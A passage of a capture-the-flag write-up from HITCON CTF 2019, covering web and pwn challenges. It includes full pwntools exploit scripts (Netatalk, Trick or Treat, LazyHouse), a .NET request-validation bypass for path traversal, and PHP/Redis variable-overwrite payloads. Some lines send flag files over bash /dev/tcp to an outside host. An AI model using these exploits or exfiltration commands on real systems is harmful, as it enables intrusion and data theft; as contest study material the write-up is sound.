class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/0&CMD=bash%20-c%20%22cat%20/</span>F*><span class="hljs-regexp">/dev/</span>tcp<span class="hljs-regexp">/133.221.333.123/</span><span class="hljs-number">12345</span>%<span class="hljs-number">22</span><span class="hljs-string">'</span></code></pre><p>The flag: <code>hitcon{Env1r0nm3nt 1nj3ct10n r0cks!!!}</code></p>
<p>This seems to be the unintended RCE solution (I knew some other teams also developed this exploit.). According to <a href="https://github.com/orangetw/My-CTF-Web-Challenges#gogo-powersql">the author's writeup (Orange)</a>, the intended way is polluting <code>LOCALDOMAIN</code> and overwriting mysql host to read arbitrary file from the client using a rogue MySQL server.</p>
<p>Everything is possible if you check the source code.</p>
<h4 id="failed-attempts"><a class="header-link" href="#failed-attempts"></a>Failed Attempts</h4>
<ul class="list">
<li>snprintf overwrite: The SQL query is built using snprintf, but we can overwrite the last single quote here. The query will become <code>select * from users where name like '%aaaaaa%</code> which leads to SQL error. However, this is useless......</li>
<li>Using GoAhead 1-day or CVEs: like embedthis/goahead Issue <a href="https://github.com/embedthis/goahead/issues/264">264</a> and <a href="https://github.com/embedthis/goahead/issues/285">285</a>, but I feel like they are not actually exploitable. (and I don't have any pwn skills)</li>
<li>brute-force the temp filename to become <code>foobar.so</code>: The webserver will create a tempfile for stdio/out. However, the filename, especially the extension, is not controllable. Check the <a href="https://github.com/embedthis/goahead/blob/029ea72c871f1dced9e9a7bd1ff9cc0a003fd4ca/src/osdep.c#L66">source code</a> here.</li>
<li>Using existing library <code>*.so</code> on the server with environment variables to RCE: The only interesting library is <code>libmemusage</code>. Loading this library shows the memory usage of the program. However they don't seem to be useful here.</li>
</ul>
<h3 id="luatic"><a class="header-link" href="#luatic"></a>Luatic</h3>
<p>The server source code is <a href="https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2019/luatic/luatic.php">here</a>.</p>
<p>Each team in this CTF will be assigned a unique token, which can be used in this challenge to create an independent Redis server.</p>
<h4 id="overwrite-varibles"><a class="header-link" href="#overwrite-varibles"></a>Overwrite varibles</h4>
<p>The first part is to overwrite PHP varibles. Let's focus on this code:</p>
<pre class="hljs"><code> <span class="hljs-keyword">foreach</span>($_REQUEST <span class="hljs-keyword">as</span> $k=>$v) {
<span class="hljs-keyword">if</span>( strlen($k) > <span class="hljs-number">0</span> && preg_match(<span class="hljs-string">'/^(FLAG|MY_|TEST_|GLOBALS)/i'</span>,$k) )
<span class="hljs-keyword">exit</span>(<span class="hljs-string">'Shame on you'</span>);
}
<span class="hljs-keyword">foreach</span>(<span class="hljs-keyword">Array</span>(<span class="hljs-string">'_GET'</span>,<span class="hljs-string">'_POST'</span>) <span class="hljs-keyword">as</span> $request) {
<span class="hljs-keyword">foreach</span>($$request <span class="hljs-keyword">as</span> $k => $v) ${$k} = str_replace(str_split(<span class="hljs-string">"[]{}=.'\""</span>), <span class="hljs-string">""</span>, $v);
}</code></pre><p>It will extract GET and POST parameters and simply create a PHP varaible and assign to it. However, the annoying WAF will block any attempt to create any varaible starting with <code>MY_</code>. @kaibro found the trick here: the for-each loop firstly parses <code>_GET</code> and then <code>_POST</code>. What if we name our varaible as <code>_POST</code> and put it in <code>_GET</code>? It will parse this one in <code>_GET</code> and add our varaible into <code>_POST</code>!</p>
<pre class="hljs"><code>example.com/?_POST[guess]=123
# First, <span class="hljs-keyword">parse</span> <span class="hljs-variable">$_GET</span>
<span class="hljs-variable">$_POST</span> = Array(<span class="hljs-string">"guess"</span> => 123);
# Second, <span class="hljs-keyword">parse</span> <span class="hljs-variable">$_POST</span>, <span class="hljs-keyword">which</span> has been overwritten previously
<span class="hljs-variable">$guess</span> = 123;</code></pre><p><a href="https://xz.aliyun.com/t/5676#toc-4">Reference (in Simplified Chinese)</a>.</p>
<h4 id="redis-and-lua"><a class="header-link" href="#redis-and-lua"></a>Redis and Lua</h4>
<p>Thus, we can control the <code>$MY_SET_COMMAND</code> now. The next target is the redis server and Lua interpreter. We have to somehow find an approach to predict the random value.</p>
<p>The PHP code seems to use <a href="https://github.com/phpredis/phpredis">phpredis</a> library. We could probably inject command in <code>rawCommand</code> function call, but our objective is in the Lua interpreter.</p>
<p>Let's gather some information for this Lua interpreter in Redis.</p>
<ol class="list">
<li><a href="https://redis.io/commands/eval#atomicity-of-scripts">Redis uses the same Lua interpreter to run all the commands.</a> </li>
<li>sandboxing: Lua interpreter in Redis <a href="https://redis.io/commands/eval#sandbox-and-maximum-execution-time">is sandboxed</a>. The <a href="https://redis.io/commands/eval#available-libraries">available modules</a> are pretty limited. RCE will be difficult.</li>
<li><a href="https://redis.io/commands/eval#scripts-as-pure-functions">replication</a>: The Lua script has to be a stateless pure function. It should not depend on any internal state. Basically what redis want is the Lua script should return the same value for each call.</li>
<li><a href="https://redis.io/commands/eval#global-variables-protection">not allow global varaibles</a>: This is a similar mechanism as the previous one. You should not keep state inside the Lua engine.</li>
</ol>
<p>Even with those limitations, we still try to overwrite <code>math.random</code> function call. After some searching I got <a href="https://stackoverflow.com/questions/19997647/script-attempted-to-create-global-variable">this</a>, so I think if it's possible to create a global variable, it should not be hard to overwrite one.</p>
<p>Therefore, we just overwrite <code>math.random</code> like this in redis.</p>
<pre class="hljs"><code><span class="hljs-built_in">eval</span> <span class="hljs-string">"function math:random() return 87 end"</span> <span class="hljs-number">0</span></code></pre><p>Here is the final payload. Because the server will check if the key exists in redis or not, we have to set that one in redis first:</p>
<pre class="hljs"><code><span class="hljs-link">http://54.250.242.183/luatic.php?token=mytoken&_POST</span>[<span class="hljs-string">guess</span>]=87&<span class="hljs-emphasis">_POST[TEST_</span>KEY]=function%20math%3Arandom()%20return%2087%20end&<span class="hljs-emphasis">_POST[TEST_</span>VALUE]=0</code></pre><p>Then overwrite the function. The return value will be fixed.</p>
<pre class="hljs"><code><span class="hljs-link">http://54.250.242.183/luatic.php?token=052e31ea-dc02-48ea-8e76-e277c4b03c60&_POST</span>[<span class="hljs-string">guess</span>]=87&<span class="hljs-emphasis">_POST[MY_</span>SET<span class="hljs-emphasis">_COMMAND]=eval&_</span>POST[TEST<span class="hljs-emphasis">_KEY]=function%20math%3Arandom()%20return%2087%20end&_</span>POST[TEST<span class="hljs-emphasis">_VALUE]=0</span></code></pre><p>Flag: <code>hitcon{Lua^H Red1s 1s m4g1c!!!}</code></p>
<h3 id="buggy-.net"><a class="header-link" href="#buggy-.net"></a>Buggy .NET</h3>
<p>flag is in the <code>C:\FLAG.txt</code></p>
<p>Thus we need to bypass <code>..</code> restriction to read files.</p>
<p>And in one year ago, I have read @irsdl's .NET WAF Bypass slide: <a href="https://www.slideshare.net/SoroushDalili/waf-bypass-techniques-using-http-standard-and-web-servers-behaviour">https://www.slideshare.net/SoroushDalili/waf-bypass-techniques-using-http-standard-and-web-servers-behaviour</a></p>
<p>The example code in the slide is almost same as this challenge. </p>
<p>We just need to throw an exception when we use <code>Request.Form["filename"]</code> first time.</p>
<p>But I tried a lot of charset tricks (IBM500, IBM037, ...) and it never throw any exception.</p>
<p>So I started to read the .NET source code, and I found that we should use some malicious payload (e.g. XSS) to trigger the Request Validation exception.</p>
<p>(The function calling chain looks like: <code>Form.get</code> -> <code>ValidateHttpValueCollection</code> -> <code>collection.EnableGranularValidation</code> -> <code>ValidateString</code> -> <code>RequestValidator.Current.IsValidRequestString</code> -> <code>rossSiteScriptingValidation.IsDangerousString</code> -> <code>throw new HttpRequestValidationException</code>)</p>
<p>And it validated the Form data only once, so it will not throw any exception when we called it in the second time.</p>
<pre class="hljs"><code><span class="hljs-keyword">public</span> NameValueCollection <span class="hljs-keyword">Form</span> {
get {
EnsureForm();
<span class="hljs-keyword">if</span> (_flags[needToValidateForm]) {
_flags.Clear(needToValidateForm);
ValidateHttpValueCollection(_form, RequestValidationSource.<span class="hljs-keyword">Form</span>);
}
<span class="hljs-keyword">return</span> _form;
}
}</code></pre><p>Here is my exploit script:</p>
<pre class="hljs"><code><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> urllib
encoding = <span class="hljs-string">"utf-8"</span>
r = remote(<span class="hljs-string">"52.197.162.211"</span>, <span class="hljs-number">80</span>)
s = <span class="hljs-string">'filename'</span>
print(s)
res1 = (urllib.quote_plus(s.encode(encoding)))
l1 = len(res1)
<span class="hljs-comment">#s = 'web.config'</span>
s = <span class="hljs-string">'../../../../FLAG.txt'</span>
print(s)
res2 = (urllib.quote_plus(s.encode(encoding)))
l2 = len(res2)
print(res1 + <span class="hljs-string">"="</span> + res2)
print(<span class="hljs-string">"Length: "</span>, l1 + l2 + <span class="hljs-number">1</span>)
s = <span class="hljs-string">"<script>alert(123)</script>"</span>
shit = <span class="hljs-string">"&x="</span> + urllib.quote_plus(s.encode(encoding))
payload = <span class="hljs-string">'''GET / HTTP/1.1
Host: 52.197.162.211
Content-Type: application/x-www-form-urlencoded
Content-Length: {}
{}'''</span>.format(l1 + l2 + <span class="hljs-number">1</span> + len(shit), res1 + <span class="hljs-string">"="</span> + res2 + shit).replace(<span class="hljs-string">"\n"</span>, <span class="hljs-string">"\r\n"</span>)
r.send(payload)
r.interactive()</code></pre><p><code>hitcon{Amazing!!! @irsdl 1s ind33d the .Net KING!!!}</code></p>
<h2 id="pwn"><a class="header-link" href="#pwn"></a>Pwn</h2>
<h3 id="poe---i"><a class="header-link" href="#poe---i"></a>PoE - I</h3>
<ul class="list">
<li><a href="https://github.com/yuawn/CTF/blob/master/2019/hitcon/PoE/poe-I.py">https://github.com/yuawn/CTF/blob/master/2019/hitcon/PoE/poe-I.py</a></li>
</ul>
<h3 id="emojiiivm"><a class="header-link" href="#emojiiivm"></a>EmojiiiVM</h3>
<ul class="list">
<li><a href="https://github.com/yuawn/CTF/tree/master/2019/hitcon/EmojiiiVM">https://github.com/yuawn/CTF/tree/master/2019/hitcon/EmojiiiVM</a></li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-comment">#from pwn import *</span>
<span class="hljs-keyword">import</span> re
<span class="hljs-comment"># hitcon{H0p3_y0u_Enj0y_pWn1ng_th1S_3m0j1_vM_^_^b}</span>
<span class="hljs-string">'''
store [i] [j] [top]
load top = mem[i][j]
'''</span>
num = [ <span class="hljs-string">'😀'</span> , <span class="hljs-string">'😁'</span>, <span class="hljs-string">'😂'</span> , <span class="hljs-string">'🤣'</span> , <span class="hljs-string">'😜'</span> , <span class="hljs-string">'😄'</span> , <span class="hljs-string">'😅'</span> , <span class="hljs-string">'😆'</span> , <span class="hljs-string">'😉'</span> , <span class="hljs-string">'😊'</span> , <span class="hljs-string">'😍'</span> ]
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">push</span><span class="hljs-params">( n )</span>:</span>
<span class="hljs-keyword">if</span> n <= <span class="hljs-number">10</span>:
<span class="hljs-keyword">return</span> <span class="hljs-string">'⏬'</span> + num[n]
<span class="hljs-keyword">else</span>:
<span class="hljs-keyword">return</span> mul( n // <span class="hljs-number">10</span> , <span class="hljs-number">10</span> ) + add( n % <span class="hljs-number">10</span> , <span class="hljs-number">-1</span> )
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">add</span><span class="hljs-params">( a , b , top = False )</span>:</span>
<span class="hljs-keyword">if</span> b < <span class="hljs-number">0</span>:
<span class="hljs-keyword">return</span> push( a ) + <span class="hljs-string">'➕'</span>
<span class="hljs-keyword">else</span>:
<span class="hljs-keyword">return</span> push( b ) + push( a ) + <span class="hljs-string">'➕'</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">sub</span><span class="hljs-params">( a , b )</span>:</span>
<span class="hljs-keyword">if</span> b == <span class="hljs-number">-1</span>:
<span class="hljs-keyword">return</span> push( b ) + push( a ) + <span class="hljs-string">'➖'</span>
<span class="hljs-keyword">return</span> push( b ) + push( a ) + <span class="hljs-string">'➖'</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">mul</span><span class="hljs-params">( a , b )</span>:</span>
<span class="hljs-keyword">if</span> b == <span class="hljs-number">-1</span>:
<span class="hljs-keyword">return</span> push( a ) + <span class="hljs-string">'❌'</span>
<span class="hljs-keyword">return</span> push( b ) + push( a ) + <span class="hljs-string">'❌'</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">store</span><span class="hljs-params">( i , j , v )</span>:</span>
<span class="hljs-keyword">if</span> v == <span class="hljs-number">-1</span>:
<span class="hljs-keyword">return</span> push(j) + push(i) + <span class="hljs-string">'📥'</span>
<span class="hljs-keyword">if</span> type(v) == type(<span class="hljs-string">'y'</span>):
v = ord( v )
<span class="hljs-keyword">return</span> push(v) + push(j) + push(i) + <span class="hljs-string">'📥'</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">load</span><span class="hljs-params">( i , j )</span>:</span>
<span class="hljs-keyword">return</span> push(j) + push(i) + <span class="hljs-string">'📤'</span>
now = <span class="hljs-string">'\0'</span> * <span class="hljs-number">10</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">store_str</span><span class="hljs-params">( i , s )</span>:</span>
p = <span class="hljs-string">''</span>
<span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> range( len( s ) ):
<span class="hljs-keyword">if</span> now[j] == s[j]:
<span class="hljs-keyword">continue</span>
p += store( i , j , s[j] )
<span class="hljs-keyword">return</span> p
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">read</span><span class="hljs-params">( i )</span>:</span>
<span class="hljs-keyword">return</span> push( i ) + <span class="hljs-string">'📄'</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">wri</span><span class="hljs-params">( i )</span>:</span>
<span class="hljs-keyword">return</span> push( i ) + <span class="hljs-string">'📝'</span>
pop = <span class="hljs-string">'🔝'</span>
wri_stk = <span class="hljs-string">'🔡'</span>
puti = <span class="hljs-string">'🔢'</span>
p = <span class="hljs-string">''</span>
p += ( push( <span class="hljs-number">10</span> ) + <span class="hljs-string">'🆕'</span> ) * <span class="hljs-number">6</span>
p += <span class="hljs-string">'➕'</span>
p += pop * <span class="hljs-number">9</span>
p += add( <span class="hljs-number">10</span> , <span class="hljs-number">-1</span> ) * <span class="hljs-number">15</span> <span class="hljs-comment"># 3 control 1</span>
p += add( <span class="hljs-number">2</span> , <span class="hljs-number">-1</span> )
p += pop * <span class="hljs-number">20</span>
p += puti
p += read( <span class="hljs-number">3</span> )
p += read( <span class="hljs-number">1</span> )
p += push( <span class="hljs-number">10</span> ) + <span class="hljs-string">'🆕'</span>
p += <span class="hljs-string">'🛑'</span>
o = open( <span class="hljs-string">'exp'</span> , <span class="hljs-string">'w+'</span> )
o.write( p )
o.close()</code></pre><h3 id="netatalk"><a class="header-link" href="#netatalk"></a>Netatalk</h3>
<pre class="hljs"><code>from pwn <span class="hljs-built_in">import</span> *
<span class="hljs-built_in">import</span> struct
<span class="hljs-comment">#context.log_level = "error"</span>
<span class="hljs-comment">#ip = 'localhost'</span>
<span class="hljs-attr">ip</span> = '<span class="hljs-number">3.114</span>.<span class="hljs-number">63.117</span>'
<span class="hljs-attr">port</span> = <span class="hljs-number">48763</span>
def create_header(addr):
<span class="hljs-attr">dsi_opensession</span> = <span class="hljs-string">"\x01"</span> <span class="hljs-comment"># attention quantum option</span>
dsi_opensession += chr(len(addr)+<span class="hljs-number">0</span>x10) <span class="hljs-comment"># length</span>
dsi_opensession += <span class="hljs-string">"b"</span>*<span class="hljs-number">0</span>x10+addr
<span class="hljs-attr">dsi_header</span> = <span class="hljs-string">"\x00"</span> <span class="hljs-comment"># "request" flag</span>
dsi_header += <span class="hljs-string">"\x04"</span> <span class="hljs-comment"># open session command</span>
dsi_header += <span class="hljs-string">"\x00\x01"</span> <span class="hljs-comment"># request id</span>
dsi_header += <span class="hljs-string">"\x00\x00\x00\x00"</span> <span class="hljs-comment"># data offset</span>
dsi_header += struct.pack(<span class="hljs-string">">I"</span>, len(dsi_opensession))
dsi_header += <span class="hljs-string">"\x00\x00\x00\x00"</span> <span class="hljs-comment"># reserved</span>
dsi_header += dsi_opensession
return dsi_header
def create_afp(idx,payload):
<span class="hljs-attr">afp_command</span> = chr(idx) <span class="hljs-comment"># invoke the second entry in the table</span>
afp_command += <span class="hljs-string">"\x00"</span> <span class="hljs-comment"># protocol defined padding </span>
afp_command += payload
<span class="hljs-attr">dsi_header</span> = <span class="hljs-string">"\x00"</span> <span class="hljs-comment"># "request" flag</span>
dsi_header += <span class="hljs-string">"\x02"</span> <span class="hljs-comment"># "AFP" command</span>
dsi_header += <span class="hljs-string">"\x00\x02"</span> <span class="hljs-comment"># request id</span>
dsi_header += <span class="hljs-string">"\x00\x00\x00\x00"</span> <span class="hljs-comment"># data offset</span>
dsi_header += struct.pack(<span class="hljs-string">">I"</span>, len(afp_command))
dsi_header += '\x00\x00\x00\x00' <span class="hljs-comment"># reserved</span>
dsi_header += afp_command
return dsi_header
<span class="hljs-comment">#addr = p64(0x7f9159232000-0x5357000)[:6] # brutefore address</span>
<span class="hljs-attr">addr</span> = p64(<span class="hljs-number">0</span>x7f812631d000)[:<span class="hljs-number">6</span>]
<span class="hljs-comment">#addr = ""</span>
while len(addr)<<span class="hljs-number">6</span> :
for i <span class="hljs-keyword">in</span> range(<span class="hljs-number">256</span>):
<span class="hljs-attr">r</span> = remote(ip,port)
r.send(create_header(addr+chr(i)))
try:
<span class="hljs-keyword">if</span> <span class="hljs-string">"a"</span>*<span class="hljs-number">4</span> <span class="hljs-keyword">in</span> r.recvrepeat(<span class="hljs-number">1</span>):
addr += chr(i)
r.close()
break
except:
r.close()
<span class="hljs-attr">val</span> = u64(addr.ljust(<span class="hljs-number">8</span>,'\x00'))
print hex(val)
addr += <span class="hljs-string">"\x00"</span>*<span class="hljs-number">2</span>
<span class="hljs-attr">offset</span> = <span class="hljs-number">0</span>x5246000
<span class="hljs-attr">r</span> = remote(ip,port)
<span class="hljs-attr">libc</span> = u64(addr)+offset
<span class="hljs-comment">#libc=0x7fea3340b120-0x43120 # local libc offset</span>
<span class="hljs-comment">#print hex(libc)</span>
<span class="hljs-comment">#print hex(libc+0x3ed8e8)</span>
<span class="hljs-comment">#print hex(libc+0x3f04a8) # dl_open_hook</span>
<span class="hljs-comment">#print hex(libc+0x7EA1F)</span>
<span class="hljs-comment">#print hex(libc+0x166488)</span>
<span class="hljs-comment">#print hex(libc+0x4f440)</span>
<span class="hljs-comment">#raw_input()</span>
<span class="hljs-comment">#libc=0x7fea3340b120-0x43120</span>
<span class="hljs-comment">#setcontext+53</span>
r.send(create_header(p64(libc+<span class="hljs-number">0</span>x3ed8e8-<span class="hljs-number">0</span>x30))) <span class="hljs-comment"># overwrite afp_command buf with free_hook-0x30 </span>
context.<span class="hljs-attr">arch</span> = <span class="hljs-string">"amd64"</span>
<span class="hljs-attr">r8=0</span>
<span class="hljs-attr">r9=1</span>
<span class="hljs-attr">r12=1</span>
<span class="hljs-attr">r13=1</span>
<span class="hljs-attr">r14=1</span>
<span class="hljs-attr">r15=1</span>
<span class="hljs-attr">rdi=libc+0x3ed8e8+8</span> <span class="hljs-comment"># cmd buffer</span>
<span class="hljs-attr">rsi=0x1111</span>
<span class="hljs-attr">rbp=0x1111</span>
<span class="hljs-attr">rbx=0x1111</span>
<span class="hljs-attr">rdx=0x1211</span>
<span class="hljs-attr">rcx=0x1211</span>
<span class="hljs-attr">rsp=libc+0x3ed8e8</span>
<span class="hljs-attr">rspp=libc+0x4f440</span> <span class="hljs-comment"># system</span>
<span class="hljs-attr">payload2=flat(</span>
r8,r9,
<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,r12,r13,r14,r15,rdi,rsi,rbp,rbx,rdx,<span class="hljs-number">0</span>,rcx,rsp,rspp
)
<span class="hljs-attr">rip="X.X.X.X"</span>
<span class="hljs-attr">rport=11112</span>
<span class="hljs-attr">cmd='bash</span> -c <span class="hljs-string">"cat /home/ctf/flag > /dev/tcp/%s/%d"</span> \x00' % (rip,rport) <span class="hljs-comment"># cat flag to controled ip and port </span>
<span class="hljs-attr">payload</span> = flat(<span class="hljs-string">"\x00"</span>*<span class="hljs-number">0</span>x2e+p64(libc+<span class="hljs-number">0</span>x166488)+cmd.ljust(<span class="hljs-number">0</span>x2bb8,<span class="hljs-string">"\x00"</span>)+p64(libc+<span class="hljs-number">0</span>x3f04a8+<span class="hljs-number">8</span>)+p64(libc+<span class="hljs-number">0</span>x7EA1F)*<span class="hljs-number">4</span>+p64(libc+<span class="hljs-number">0</span>x52070+<span class="hljs-number">53</span>)+payload2) <span class="hljs-comment">#over write _free_hook and _dl_open_hook</span>
r.send(create_afp(<span class="hljs-number">0</span>,payload))
r.send(create_afp(<span class="hljs-number">18</span>,flat(
<span class="hljs-string">""</span>
)))
r.interactive()</code></pre><h3 id="🎃-trick-or-treat-🎃"><a class="header-link" href="#🎃-trick-or-treat-🎃"></a>🎃 Trick or Treat 🎃</h3>
<pre class="hljs"><code><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-comment">#r = process(["./trick_or_treat"])</span>
r = remote(<span class="hljs-string">"3.112.41.140"</span>, <span class="hljs-number">56746</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,str(<span class="hljs-number">0x1000000</span>))
r.recvuntil(<span class="hljs-string">":"</span>)
libc = int(r.recvline(),<span class="hljs-number">16</span>)+<span class="hljs-number">0x1000ff0</span>
<span class="hljs-keyword">print</span> hex(libc)
offset = <span class="hljs-number">0x1000ff0</span>
r.sendlineafter(<span class="hljs-string">":"</span>,hex((offset+<span class="hljs-number">0x3ed8e8</span>)/<span class="hljs-number">8</span>))
r.sendline(<span class="hljs-string">" "</span>+hex(libc+<span class="hljs-number">0x4f440</span>))
r.sendafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x400</span>)
r.sendline(<span class="hljs-string">""</span>)
r.sendline(<span class="hljs-string">"ed"</span>)
r.sendline(<span class="hljs-string">"!sh"</span>)
r.interactive()</code></pre><h3 id="lazyhouse"><a class="header-link" href="#lazyhouse"></a>LazyHouse</h3>
<pre class="hljs"><code><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-comment">#r = process(["./lazyhouse"])</span>
r = remote(<span class="hljs-string">"3.115.121.123"</span>, <span class="hljs-number">5731</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">buy</span><span class="hljs-params">(idx,size,house)</span>:</span>
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"1"</span>)
r.recvuntil(<span class="hljs-string">":"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,str(idx))
r.sendlineafter(<span class="hljs-string">":"</span>,str(size))
r.recvuntil(<span class="hljs-string">":"</span>)
<span class="hljs-keyword">if</span> size < <span class="hljs-number">0xffffffff</span>:
r.sendafter(<span class="hljs-string">":"</span>,house)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">show</span><span class="hljs-params">(idx)</span>:</span>
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"2"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,str(idx))
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">remove</span><span class="hljs-params">(idx)</span>:</span>
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"3"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,str(idx))
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">Upgrade</span><span class="hljs-params">(idx,house)</span>:</span>
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"4"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,str(idx))
r.sendafter(<span class="hljs-string">":"</span>,house)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">Super</span><span class="hljs-params">(house)</span>:</span>
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"5"</span>)
r.sendafter(<span class="hljs-string">":"</span>,house)
buy(<span class="hljs-number">0</span>,<span class="hljs-number">84618092081236480</span>,<span class="hljs-string">"a"</span>)
remove(<span class="hljs-number">0</span>)
buy(<span class="hljs-number">0</span>,<span class="hljs-number">0x80</span>,<span class="hljs-string">"a"</span>)
buy(<span class="hljs-number">1</span>,<span class="hljs-number">0x500</span>,<span class="hljs-string">"a"</span>)
buy(<span class="hljs-number">2</span>,<span class="hljs-number">0x80</span>,<span class="hljs-string">"a"</span>)
remove(<span class="hljs-number">1</span>)
buy(<span class="hljs-number">1</span>,<span class="hljs-number">0x600</span>,<span class="hljs-string">"a"</span>)
Upgrade(<span class="hljs-number">0</span>,<span class="hljs-string">"\x00"</span>*<span class="hljs-number">0x88</span>+p64(<span class="hljs-number">0x513</span>))
buy(<span class="hljs-number">7</span>,<span class="hljs-number">0x500</span>,<span class="hljs-string">"a"</span>)
show(<span class="hljs-number">7</span>)
data = r.recvn(<span class="hljs-number">0x500</span>)
libc = u64(data[<span class="hljs-number">0x8</span>:<span class="hljs-number">0x10</span>])<span class="hljs-number">-0x1e50d0</span>
heap = u64(data[<span class="hljs-number">0x10</span>:<span class="hljs-number">0x18</span>])<span class="hljs-number">-0x2e0</span>
<span class="hljs-keyword">print</span> hex(libc)
<span class="hljs-keyword">print</span> hex(heap)
remove(<span class="hljs-number">0</span>)
remove(<span class="hljs-number">1</span>)
remove(<span class="hljs-number">2</span>)
size = <span class="hljs-number">0x1a0</span>+<span class="hljs-number">0x90</span>
target = heap+<span class="hljs-number">0x8b0</span>
buy(<span class="hljs-number">6</span>,<span class="hljs-number">0x80</span>,<span class="hljs-string">"\x00"</span>*<span class="hljs-number">8</span>+p64(size+<span class="hljs-number">1</span>)+p64(target<span class="hljs-number">-0x18</span>)+p64(target<span class="hljs-number">-0x10</span>)+p64(target<span class="hljs-number">-0x20</span>))
buy(<span class="hljs-number">5</span>,<span class="hljs-number">0x80</span>,<span class="hljs-string">"a"</span>)
buy(<span class="hljs-number">0</span>,<span class="hljs-number">0x80</span>,<span class="hljs-string">"a"</span>)
buy(<span class="hljs-number">1</span>,<span class="hljs-number">0x80</span>,<span class="hljs-string">"a"</span>)
buy(<span class="hljs-number">2</span>,<span class="hljs-number">0x600</span>,<span class="hljs-string">"\x00"</span>*<span class="hljs-number">0x508</span>+p64(<span class="hljs-number">0x101</span>))
Upgrade(<span class="hljs-number">1</span>,<span class="hljs-string">"\x00"</span>*<span class="hljs-number">0x80</span>+p64(size)+p64(<span class="hljs-number">0x610</span>))
remove(<span class="hljs-number">2</span>)
context.arch = <span class="hljs-string">"amd64"</span>
size = <span class="hljs-number">0x6c0</span>
buy(<span class="hljs-number">2</span>,<span class="hljs-number">0x500</span>,<span class="hljs-string">"\x00"</span>*<span class="hljs-number">0x78</span>+flat(size+<span class="hljs-number">1</span>,[<span class="hljs-number">0</span>]*<span class="hljs-number">17</span>)+
flat(<span class="hljs-number">0x31</span>,[<span class="hljs-number">0</span>]*<span class="hljs-number">5</span>,<span class="hljs-number">0x61</span>,[<span class="hljs-number">0</span>]*<span class="hljs-number">11</span>,<span class="hljs-number">0x21</span>,[<span class="hljs-number">0</span>]*<span class="hljs-number">3</span>,<span class="hljs-number">0x71</span>,[<span class="hljs-number">0</span>]*<span class="hljs-number">13</span>))
remove(<span class="hljs-number">0</span>)
remove(<span class="hljs-number">1</span>)
remove(<span class="hljs-number">2</span>)
